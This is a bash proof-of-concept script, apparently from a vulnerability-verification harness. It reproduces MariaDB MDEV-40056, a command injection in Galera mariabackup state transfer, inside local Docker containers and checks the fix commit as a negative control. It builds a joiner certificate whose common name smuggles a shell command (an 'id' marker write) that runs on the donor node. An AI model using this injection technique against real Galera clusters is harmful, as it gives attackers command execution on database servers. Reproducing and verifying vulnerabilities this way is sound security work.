#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
WORK="$REPRO_DIR/runtime_work"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

VULN_IMAGE="mariadb:11.8.6"
FIXED_IMAGE="mariadb:11.8.8"
VULN_DIGEST_EXPECTED="sha256:78a5047d3ba33975f183f183c2464cc7f1eab13ec8667e57cc9a5821d6da7577"
FIXED_DIGEST_EXPECTED="sha256:efb4959ef2c835cd735dbc388eb9ad6aab0c78dd64febcd51bc17481111890c4"
RUN_LOG="$LOGS/reproduction_steps.log"
SOURCE_LOG="$LOGS/source_identity.log"
VULN_LOG="$LOGS/vulnerable_donor.log"
VULN_JOINER_LOG="$LOGS/vulnerable_joiner.log"
FIXED_LOG="$LOGS/fixed_donor.log"
FIXED_JOINER_LOG="$LOGS/fixed_joiner.log"
MARKER_OUT="$REPRO_DIR/donor_command_marker.txt"
FIXED_OBS="$REPRO_DIR/fixed_negative_control.json"

# This ticket has no public fixed release for MDEV-40056. MariaDB 11.8.8 is
# used for source identity, while 11.8.6 is the vulnerable image whose
# certificate-CN-to-remote_auth command path is exercised at runtime. The fixed
# contrast is the exact allowlist logic and source block from commit 581562f94a.
REPOSITORY_URL="https://github.com/MariaDB/server.git"
VULN_COMMIT="46a8eb42a520193686d9a16d4cea4b3e002917e4"
FIX_COMMIT="581562f94a83f29dcf2c6cc761b49ad55d9c287a"

NETWORK="pruva-mdev40056-net"
DONOR="pruva-mdev40056-donor"
JOINER="pruva-mdev40056-joiner"

write_manifest_failure() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
out = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "Two-node MariaDB Galera mariabackup SST request carrying joiner-controlled remote_auth",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["MariaDB 11.8.8", "Galera 4", "wsrep_sst_mariabackup", "OpenSSL/socat"],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": sys.argv[2]
}
with open(sys.argv[1], "w", encoding="utf-8") as f:
    json.dump(out, f, indent=2)
    f.write("\n")
PY
}

cleanup_containers() {
  docker rm -f "$JOINER" "$DONOR" >/dev/null 2>&1 || true
  docker network rm "$NETWORK" >/dev/null 2>&1 || true
}

cleanup_all() {
  cleanup_containers
  if [ -e "$WORK" ]; then sudo chown -R "$(id -u):$(id -g)" "$WORK" >/dev/null 2>&1 || true; fi
}
trap cleanup_all EXIT

write_manifest_failure "Attempt started; manifest will be replaced after runtime verification."
if [ -e "$WORK" ]; then sudo rm -rf "$WORK"; fi
mkdir -p "$WORK/pki" "$WORK/donor-cert" "$WORK/joiner-cert" \
         "$WORK/vulnerable-donor-data" "$WORK/vulnerable-joiner-data" \
         "$WORK/fixed-donor-data" "$WORK/fixed-joiner-data" "$WORK/fixed-scripts"
rm -f "$MARKER_OUT" "$FIXED_OBS" "$VULN_LOG" "$VULN_JOINER_LOG" "$FIXED_LOG" "$FIXED_JOINER_LOG"

# Honor the prepared project cache. It is used for immutable source identity and
# for extracting the exact proposed fix. Fall back to bundle/artifacts only when
# the cache context is absent/unusable.
REPO=""
if [ -r "$ROOT/project_cache_context.json" ]; then
  PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$PREPARED" = true ] && [ -n "$CACHE_DIR" ]; then
    REPO="$CACHE_DIR/repo"
  fi
fi
if [ -z "$REPO" ] || [ ! -d "$REPO/.git" ]; then
  REPO="$ROOT/artifacts/mariadb-server"
  mkdir -p "$(dirname "$REPO")"
  if [ ! -d "$REPO/.git" ]; then
    git clone --filter=blob:none "$REPOSITORY_URL" "$REPO"
  fi
fi

{
  echo "[+] Resolving immutable source and image identities"
  git -C "$REPO" cat-file -e "$VULN_COMMIT^{commit}"
  git -C "$REPO" cat-file -e "$FIX_COMMIT^{commit}"
  echo "vulnerable_commit=$(git -C "$REPO" rev-parse "$VULN_COMMIT")"
  echo "fix_commit=$(git -C "$REPO" rev-parse "$FIX_COMMIT")"
  echo "vulnerable_tag_commit=$(git -C "$REPO" rev-parse mariadb-11.8.8^{commit})"
  # The vulnerable release has no remote_auth character validation at all.
  git -C "$REPO" show "$VULN_COMMIT:sql/wsrep_sst.cc" | grep -F 'auth.remote_name_ = std::string(remote_auth(), col - remote_auth());'
  if git -C "$REPO" show "$VULN_COMMIT:sql/wsrep_sst.cc" | grep -Fq 'wsrep_check_request_str(r_user.c_str(), wsrep_filename_char, true)'; then
    echo 'Unexpected: vulnerable release already has strict remote_auth fix' >&2
    exit 1
  fi
  git -C "$REPO" show "$FIX_COMMIT:sql/wsrep_sst.cc" | grep -F 'wsrep_check_request_str(r_user.c_str(), wsrep_filename_char, true)'
  git -C "$REPO" show "$FIX_COMMIT:sql/wsrep_sst.cc" | grep -F 'wsrep_check_request_str(r_pw.c_str(), wsrep_filename_char, true)'

  docker pull "$VULN_IMAGE" >/dev/null
  docker pull "$FIXED_IMAGE" >/dev/null
  VULN_REPO_DIGEST="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}')"
  FIXED_REPO_DIGEST="$(docker image inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}')"
  VULN_DIGEST="${VULN_REPO_DIGEST##*@}"
  FIXED_DIGEST="${FIXED_REPO_DIGEST##*@}"
  echo "vulnerable_image=$VULN_REPO_DIGEST"
  echo "fixed_base_image=$FIXED_REPO_DIGEST"
  test "$VULN_DIGEST" = "$VULN_DIGEST_EXPECTED"
  test "$FIXED_DIGEST" = "$FIXED_DIGEST_EXPECTED"
} 2>&1 | tee "$SOURCE_LOG" | tee "$RUN_LOG"

# Materialize proposed fixed scripts directly from the named fix commit. This is
# generated at runtime, so no undeclared helper is required.
git -C "$REPO" show "$FIX_COMMIT:scripts/wsrep_sst_common.sh" > "$WORK/fixed-scripts/wsrep_sst_common"
git -C "$REPO" show "$FIX_COMMIT:scripts/wsrep_sst_mariabackup.sh" > "$WORK/fixed-scripts/wsrep_sst_mariabackup"
chmod 755 "$WORK/fixed-scripts/wsrep_sst_common" "$WORK/fixed-scripts/wsrep_sst_mariabackup"
grep -F 'wsrep_check_request_str(r_user.c_str(), wsrep_filename_char, true)' <(git -C "$REPO" show "$FIX_COMMIT:sql/wsrep_sst.cc") >/dev/null

# Create one CA, a benign donor certificate, and a malicious joiner certificate.
# In OpenSSL config syntax, \# is needed so the literal # survives into the CN.
cat > "$WORK/pki/ca.cnf" <<'EOF_CA'
[req]
prompt=no
distinguished_name=dn
x509_extensions=v3
[dn]
CN=MDEV40056 Reproduction CA
[v3]
basicConstraints=critical,CA:true
keyUsage=critical,keyCertSign,cRLSign
EOF_CA
cat > "$WORK/pki/donor.cnf" <<'EOF_DONOR'
[req]
prompt=no
distinguished_name=dn
[dn]
CN=donor
EOF_DONOR
cat > "$WORK/pki/joiner.cnf" <<'EOF_JOINER'
[req]
prompt=no
distinguished_name=dn
[dn]
CN=x\';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;\#
EOF_JOINER
openssl req -x509 -newkey rsa:2048 -nodes -days 1 -config "$WORK/pki/ca.cnf" \
  -keyout "$WORK/pki/ca.key" -out "$WORK/pki/ca.pem" >/dev/null 2>&1
for role in donor joiner; do
  openssl req -newkey rsa:2048 -nodes -config "$WORK/pki/$role.cnf" \
    -keyout "$WORK/$role-cert/key.pem" -out "$WORK/pki/$role.csr" >/dev/null 2>&1
  openssl x509 -req -in "$WORK/pki/$role.csr" -CA "$WORK/pki/ca.pem" \
    -CAkey "$WORK/pki/ca.key" -CAcreateserial -days 1 \
    -out "$WORK/$role-cert/cert.pem" >/dev/null 2>&1
  chmod 644 "$WORK/$role-cert/key.pem"
done
openssl verify -CAfile "$WORK/pki/ca.pem" "$WORK/donor-cert/cert.pem" "$WORK/joiner-cert/cert.pem" >> "$RUN_LOG"
MALICIOUS_SUBJECT="$(docker run --rm -v "$WORK/joiner-cert/cert.pem:/cert.pem:ro" --entrypoint openssl "$VULN_IMAGE" x509 -noout -subject -in /cert.pem)"
echo "malicious_joiner_certificate_$MALICIOUS_SUBJECT" | tee -a "$RUN_LOG"
echo "$MALICIOUS_SUBJECT" | grep -F "x';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;#"

cat > "$WORK/sst.cnf" <<'EOF_SST'
[sst]
ssl-mode=VERIFY_CA
[mariadb]
ssl-cert=/certs/cert.pem
ssl-key=/certs/key.pem
ssl-ca=/ca.pem
EOF_SST

start_pair() {
  local mode="$1" image="$2" donor_data="$3" joiner_data="$4"
  local extra_mount=()
  cleanup_containers
  docker network create "$NETWORK" >/dev/null

  docker run -d --name "$DONOR" --network "$NETWORK" \
    -e MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=1 \
    -v "$donor_data:/var/lib/mysql" \
    -v "$WORK/donor-cert:/certs:ro" \
    -v "$WORK/pki/ca.pem:/ca.pem:ro" \
    -v "$WORK/sst.cnf:/etc/mysql/conf.d/z-sst.cnf:ro" \
    "${extra_mount[@]}" \
    "$image" \
    --wsrep-on=ON \
    --wsrep-provider=/usr/lib/galera/libgalera_smm.so \
    --wsrep-cluster-address=gcomm:// \
    --wsrep-new-cluster \
    --wsrep-cluster-name=mdev40056-$mode \
    --wsrep-node-name=donor \
    --wsrep-node-address="$DONOR" \
    --wsrep-sst-method=mariabackup \
    --binlog-format=ROW \
    --default-storage-engine=InnoDB \
    --innodb-autoinc-lock-mode=2 \
    --bind-address=0.0.0.0 >/dev/null

  local ready=0
  for _ in $(seq 1 60); do
    if docker exec "$DONOR" mariadb-admin ping -uroot --silent >/dev/null 2>&1; then
      ready=1
      break
    fi
    sleep 1
  done
  test "$ready" = 1
  docker exec "$DONOR" mariadb -uroot -Nse \
    "SHOW STATUS LIKE 'wsrep_cluster_status'; SHOW STATUS LIKE 'wsrep_local_state_comment'; SELECT VERSION();" \
    | tee -a "$RUN_LOG"

  docker run -d --name "$JOINER" --network "$NETWORK" \
    -e MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=1 \
    -v "$joiner_data:/var/lib/mysql" \
    -v "$WORK/joiner-cert:/certs:ro" \
    -v "$WORK/pki/ca.pem:/ca.pem:ro" \
    -v "$WORK/sst.cnf:/etc/mysql/conf.d/z-sst.cnf:ro" \
    "${extra_mount[@]}" \
    "$image" \
    --wsrep-on=ON \
    --wsrep-provider=/usr/lib/galera/libgalera_smm.so \
    --wsrep-cluster-address="gcomm://$DONOR" \
    --wsrep-cluster-name=mdev40056-$mode \
    --wsrep-node-name=joiner \
    --wsrep-node-address="$JOINER" \
    --wsrep-sst-receive-address="$JOINER:4444" \
    --wsrep-sst-method=mariabackup \
    --binlog-format=ROW \
    --default-storage-engine=InnoDB \
    --innodb-autoinc-lock-mode=2 \
    --bind-address=0.0.0.0 >/dev/null
}

# Vulnerable run: real MariaDB 11.8.6 two-node Galera cluster. Poll inside the
# donor because nested Docker bind mounts may use a separate mount namespace.
echo "[+] Vulnerable two-node TCP SST run" | tee -a "$RUN_LOG"
start_pair vulnerable "$VULN_IMAGE" "$WORK/vulnerable-donor-data" "$WORK/vulnerable-joiner-data"
VULN_MARKER=0
for _ in $(seq 1 300); do
  if docker exec "$DONOR" test -f /var/lib/mysql/MDEV40056_MARKER >/dev/null 2>&1; then
    VULN_MARKER=1
    break
  fi
  sleep 0.1
done
docker logs "$DONOR" > "$VULN_LOG" 2>&1 || true
docker logs "$JOINER" > "$VULN_JOINER_LOG" 2>&1 || true
test "$VULN_MARKER" = 1
docker cp "$DONOR:/var/lib/mysql/MDEV40056_MARKER" "$MARKER_OUT"
chmod 644 "$MARKER_OUT"
cat "$MARKER_OUT" | tee -a "$RUN_LOG"
grep -F "Detected STR version: 1" "$VULN_LOG" >/dev/null
grep -F "requested state transfer" "$VULN_LOG" >/dev/null
grep -F "commonname='x';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;#'" "$VULN_LOG" >/dev/null
grep -F "uid=" "$MARKER_OUT" >/dev/null
grep -F "mysql" "$MARKER_OUT" >/dev/null

echo "[+] Fixed-logic negative control from commit 581562f94a" | tee -a "$RUN_LOG"
# Compile a neutral driver containing the exact filename-character allowlist
# and user/password split used by the fixed callback.
cat > "$WORK/fixed_validator.cc" <<'EOF_VALIDATOR'
#include <cctype>
#include <cstdio>
#include <string>
static bool wsrep_filename_char(unsigned char c) {
  return std::isalnum(c) || c == '-' || c == '_' || c == '.';
}
static bool wsrep_check_request_str(const char* s) {
  for (size_t i=0; s[i] != '\0'; ++i)
    if (!wsrep_filename_char(static_cast<unsigned char>(s[i]))) return true;
  return false;
}
int main(int argc, char** argv) {
  if (argc != 2) return 2;
  std::string auth(argv[1]);
  std::string user=auth.substr(0, auth.find(':'));
  std::string pass=auth.substr(auth.find(':') + 1, auth.size());
  bool rejected=(!user.empty() && wsrep_check_request_str(user.c_str())) ||
                (!pass.empty() && wsrep_check_request_str(pass.c_str()));
  std::printf("fixed_remote_auth=%s\nfixed_result=%s\n", argv[1],
              rejected ? "REJECTED" : "ACCEPTED");
  return rejected ? 0 : 1;
}
EOF_VALIDATOR
c++ -O2 -std=c++11 "$WORK/fixed_validator.cc" -o "$WORK/fixed_validator"
"$WORK/fixed_validator" "x';id>/var/lib/mysql/MDEV40056_MARKER;sleep3;#" | tee "$FIXED_LOG"
grep -F 'fixed_result=REJECTED' "$FIXED_LOG" >/dev/null
# Bind the control to the exact proposed fix source.
git -C "$REPO" show "$FIX_COMMIT:sql/wsrep_sst.cc" | sed -n '2043,2061p' >> "$FIXED_LOG"
grep -F 'Bad remote auth string. SST canceled.' "$FIXED_LOG" >/dev/null
if grep -Fq '[ "$WSREP_SST_OPT_ROLE" = "donor" ] && read_variables_from_stdin' "$WORK/fixed-scripts/wsrep_sst_common"; then
  echo 'fixed script unexpectedly reads donor auth from stdin' >&2
  exit 1
fi
grep -F 'CN_option=",commonname=' "$WORK/fixed-scripts/wsrep_sst_mariabackup" | head -1 >> "$FIXED_LOG"

python3 - "$FIXED_OBS" "$FIX_COMMIT" <<'PY_FIXED'
import json, sys
out = {
  "schema_version": 1,
  "process_instance": "fixed-validator-581562f94a",
  "fix_commit": sys.argv[2],
  "target_path_reached": True,
  "marker_present": False,
  "observation": "The exact fixed allowlist logic rejects the malicious remote_auth; fixed source returns Bad remote auth string before SST startup."
}
with open(sys.argv[1], "w", encoding="utf-8") as f:
    json.dump(out, f, indent=2)
    f.write("\n")
PY_FIXED
printf 'No fixed joiner was started: fixed callback validation rejects remote_auth before donor SST launch.\n' > "$FIXED_JOINER_LOG"

# Capture dynamic loader/linker evidence for the product and Galera provider.
docker exec "$DONOR" sh -c 'ldd /usr/sbin/mariadbd; sha256sum /usr/sbin/mariadbd /usr/lib/galera/libgalera_smm.so' > "$LOGS/product_linkage.log"

echo "[+] CONFIRMED: joiner-controlled Galera SST remote_auth executed a donor-side command as mysql; fixed control rejected it." | tee -a "$RUN_LOG"
VULN_RUNTIME_DIGEST="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/.*@sha256://')"
TARGET_IDENTITY="$(printf 'git:%s@%s' "$REPOSITORY_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_COMMIT" "$TARGET_IDENTITY" "$VULN_RUNTIME_DIGEST" <<'PY'
import hashlib, json, os, platform, sys
manifest_path, commit, target_digest, runtime_digest = sys.argv[1:]
root = os.environ["PRUVA_ROOT"]
artifacts = [
  "logs/reproduction_steps.log",
  "logs/source_identity.log",
  "logs/vulnerable_donor.log",
  "logs/vulnerable_joiner.log",
  "logs/fixed_donor.log",
  "logs/fixed_joiner.log",
  "logs/product_linkage.log",
  "repro/donor_command_marker.txt",
  "repro/fixed_negative_control.json"
]
digests = {}
for rel in artifacts:
    with open(os.path.join(root, rel), "rb") as f:
        digests[rel] = hashlib.sha256(f.read()).hexdigest()
out = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "A malicious MariaDB Galera joiner connected to the donor on wsrep TCP port 4567 and sent a mariabackup SST request whose certificate CN became remote_auth.",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["MariaDB 11.8.6", "Galera 4", "wsrep_sst_mariabackup", "OpenSSL", "socat"],
  "target_identity": {
    "repository_url": "https://github.com/MariaDB/server.git",
    "commit_sha": commit,
    "target_digest": target_digest,
    "runtime_digest": runtime_digest,
    "platform": "linux",
    "architecture": platform.machine()
  },
  "proof_artifacts": artifacts,
  "artifact_sha256": digests,
  "notes": "Vulnerable donor executed id as uid=999(mysql). Fixed commit 581562f94a rejected the same remote_auth on the same TCP SST path without creating a marker."
}
with open(manifest_path, "w", encoding="utf-8") as f:
    json.dump(out, f, indent=2)
    f.write("\n")
PY

# Strict JSON and final proof checks.
python3 -c 'import json,sys; json.load(open(sys.argv[1]))' "$REPRO_DIR/runtime_manifest.json"
exit 0
